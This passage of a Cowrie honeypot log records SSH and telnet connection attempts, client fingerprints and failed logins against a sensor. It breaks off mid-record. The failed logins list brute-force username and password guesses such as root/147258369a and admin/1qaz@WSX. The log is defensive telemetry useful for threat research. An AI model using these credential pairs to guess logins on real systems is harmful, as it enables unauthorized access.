{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:31.974610Z","src_ip":"45.153.34.112","session":"02415e9313b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44c137e7baa","protocol":"telnet","message":"New connection: 192.119.13.58:55234 (10.17.0.5:23) [session: d44c137e7baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:32.352465Z"}
{"eventid":"cowrie.session.closed","duration":48.64581608772278,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:32.442490Z","src_ip":"192.119.13.58","session":"5b7580eedb59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:33.059737Z","src_ip":"45.153.34.112","session":"02415e9313b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42718,"dst_ip":"10.17.0.5","dst_port":22,"session":"4061b45020a9","protocol":"ssh","message":"New connection: 103.77.175.15:42718 (10.17.0.5:22) [session: 4061b45020a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:34.074569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:34.083097Z","src_ip":"103.77.175.15","session":"4061b45020a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:34.334652Z","src_ip":"103.77.175.15","session":"4061b45020a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369a","message":"login attempt [root/147258369a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:35.089538Z","src_ip":"103.77.175.15","session":"4061b45020a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49256,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9fc88a6f95b","protocol":"ssh","message":"New connection: 45.153.34.112:49256 (10.17.0.5:22) [session: d9fc88a6f95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:35.248937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:35.253829Z","src_ip":"45.153.34.112","session":"d9fc88a6f95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:35.336646Z","src_ip":"45.153.34.112","session":"d9fc88a6f95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:35.585493Z","src_ip":"45.153.34.112","session":"d9fc88a6f95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:36.343119Z","src_ip":"103.77.175.15","session":"4061b45020a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:36.672551Z","src_ip":"45.153.34.112","session":"d9fc88a6f95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49260,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ac5d3443ce","protocol":"ssh","message":"New connection: 45.153.34.112:49260 (10.17.0.5:22) [session: 93ac5d3443ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:38.878748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:38.883839Z","src_ip":"45.153.34.112","session":"93ac5d3443ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:38.966017Z","src_ip":"45.153.34.112","session":"93ac5d3443ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:39.212744Z","src_ip":"45.153.34.112","session":"93ac5d3443ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:40.299364Z","src_ip":"45.153.34.112","session":"93ac5d3443ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36000,"dst_ip":"10.17.0.5","dst_port":23,"session":"52886e500287","protocol":"telnet","message":"New connection: 192.119.13.58:36000 (10.17.0.5:23) [session: 52886e500287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:41.407817Z"}
{"eventid":"cowrie.session.closed","duration":0.0050504207611083984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:41.412752Z","src_ip":"192.119.13.58","session":"52886e500287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.08727192878723,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:41.426507Z","src_ip":"192.119.13.58","session":"fd476ccf2c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57740,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ee9154acdb","protocol":"ssh","message":"New connection: 45.153.34.112:57740 (10.17.0.5:22) [session: 06ee9154acdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:42.831520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:42.835632Z","src_ip":"45.153.34.112","session":"06ee9154acdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:42.920830Z","src_ip":"45.153.34.112","session":"06ee9154acdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:43.167140Z","src_ip":"45.153.34.112","session":"06ee9154acdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":33384,"dst_ip":"10.17.0.5","dst_port":22,"session":"0499c9764c6e","protocol":"ssh","message":"New connection: 170.106.177.3:33384 (10.17.0.5:22) [session: 0499c9764c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:43.303607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:43.308343Z","src_ip":"170.106.177.3","session":"0499c9764c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:43.375669Z","src_ip":"170.106.177.3","session":"0499c9764c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"1234","message":"login attempt [roman/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:43.677011Z","src_ip":"170.106.177.3","session":"0499c9764c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:44.255459Z","src_ip":"45.153.34.112","session":"06ee9154acdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:44.747845Z","src_ip":"170.106.177.3","session":"0499c9764c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.15952825546265,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:44.880682Z","src_ip":"192.119.13.58","session":"3c8dbb2cb8cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":57746,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c09f019bcd3","protocol":"ssh","message":"New connection: 45.153.34.112:57746 (10.17.0.5:22) [session: 4c09f019bcd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:46.363203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:46.371563Z","src_ip":"45.153.34.112","session":"4c09f019bcd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:46.459821Z","src_ip":"45.153.34.112","session":"4c09f019bcd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:46.707467Z","src_ip":"45.153.34.112","session":"4c09f019bcd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cfa654d5f34","protocol":"ssh","message":"New connection: 80.66.85.226:35104 (10.17.0.5:22) [session: 3cfa654d5f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:47.077524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:47.082022Z","src_ip":"80.66.85.226","session":"3cfa654d5f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:47.175055Z","src_ip":"80.66.85.226","session":"3cfa654d5f34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pfqxbr","message":"login attempt [root/pfqxbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:47.460503Z","src_ip":"80.66.85.226","session":"3cfa654d5f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:47.843751Z","src_ip":"45.153.34.112","session":"4c09f019bcd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:48.556277Z","src_ip":"80.66.85.226","session":"3cfa654d5f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37005639076233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:49.236669Z","src_ip":"192.119.13.58","session":"7f06c768a8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":48564,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdd3c8b099f4","protocol":"ssh","message":"New connection: 43.130.36.39:48564 (10.17.0.5:22) [session: fdd3c8b099f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:49.281542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:15:49.290639Z","src_ip":"43.130.36.39","session":"fdd3c8b099f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm